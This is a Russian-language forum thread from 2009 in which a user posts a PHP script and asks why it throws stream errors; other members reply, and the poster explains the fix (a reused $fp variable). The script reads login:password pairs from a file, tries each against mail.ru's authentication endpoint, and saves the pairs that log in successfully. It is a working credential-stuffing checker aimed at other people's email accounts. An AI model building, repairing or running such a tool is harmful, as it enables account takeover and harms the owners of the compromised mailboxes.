Что не так? php

Discussion in 'PHP' started by sNt, 24 May 2009.

  1. sNt

    sNt Elder - Старейшина

    Joined:
    30 Jul 2008
    Messages:
    117
    Likes Received:
    11
    Reputations:
    1
    PHP:
    <?php

    Error_Reporting
    (E_ALL & ~E_NOTICE); 
    set_time_limit(5);  

    $acc="la.txt";
    $fp=@fopen($acc,"r");
    while(!
    feof($fp)){
    $account trim(fgets($fp));
    $ac explode(":"$account);
    $login $ac[0];
    $pass $ac[1];

    $domain="";
    if(
    preg_match("/mail.ru/"$login)) {$domain="@mail.ru";}
    elseif(
    preg_match("/bk.ru/"$login)) {$domain="@bk.ru";}
    elseif(
    preg_match("/inbox.ru/"$login)) {$domain="@inbox.ru";}
    elseif(
    preg_match("/list.ru/"$login)) {$domain="@list.ru";}
    $login=str_replace($domain""$login);


    $fp fsockopen('win.mail.ru'80$errno$errstr30);   

    if (
    $fp
        {   
          
    $data "Login=$login&Domain=$domain&Password=$pass"
          
    $headers  "POST /cgi-bin/auth HTTP/1.1\n";
          
    $headers .= "Host: win.mail.ru\n"
          
    $headers .= "Connection: close\n"
          
    $headers .= "Content-Type: application/x-www-form-urlencoded\n";  
          
    $headers .= "Content-Length: ".strlen($data)."\n\n".$data;  

          
    fwrite($fp$headers);   
          
    $line='';  
          while (!
    feof($fp))  
          {   
            
    $line .= fgets($fp1024);   
          }   
          
    fclose($fp);   

        }   
    $auth=0;

    $text="302 OK";
    if(
    preg_match("/$text/i""$line")) {$auth=1;} else {$auth=0;}

    if(
    $auth==1
    {
    $file=fopen("base.txt""a");
    fwrite($file"<br>$login@$domain:$pass</br>");
    fclose($file);}
    }

    ?>
    Вылезают ошибки

    Warning: feof(): 4 is not a valid stream resource in C:\xampplite\htdocs\index.php on line 8

    Warning: fgets(): 4 is not a valid stream resource in C:\xampplite\htdocs\index.php on line 9

    Что не так? Не могу понять... :(
     
  2. POS_troi

    POS_troi Elder - Старейшина

    Joined:
    1 Dec 2006
    Messages:
    1,569
    Likes Received:
    466
    Reputations:
    108
    а просто

    тестить лень...

    тут покопай http://ua2.php.net/feof
     
  3. sNt

    sNt Elder - Старейшина

    Joined:
    30 Jul 2008
    Messages:
    117
    Likes Received:
    11
    Reputations:
    1
    Все, все решилось уже
     
  4. POS_troi

    POS_troi Elder - Старейшина

    Joined:
    1 Dec 2006
    Messages:
    1,569
    Likes Received:
    466
    Reputations:
    108
    Ну так отпиши.. вдруг у когото будет таже трабла, ато как-то не правильно - заварил а выхлопа "0" =)
     
  5. PaCo

    PaCo Elder - Старейшина

    Joined:
    6 Feb 2008
    Messages:
    436
    Likes Received:
    138
    Reputations:
    25
    а собствено о чем отписывать если php сам все отписал? Из ошибки ясно видно что la.txt не было в дириктории со скриптом либо он был не доступен для чтения php.
     
    1 person likes this.
  6. sNt

    sNt Elder - Старейшина

    Joined:
    30 Jul 2008
    Messages:
    117
    Likes Received:
    11
    Reputations:
    1
    Пересекались переменные $fp. В какой-то момент скрипт начинал воспринимать переменную $fp (которая открывает сокет) как линк к файлу, и, понятное дело, сообщал, что такого файла он найти не может. После ренейма переменной все встало на свои места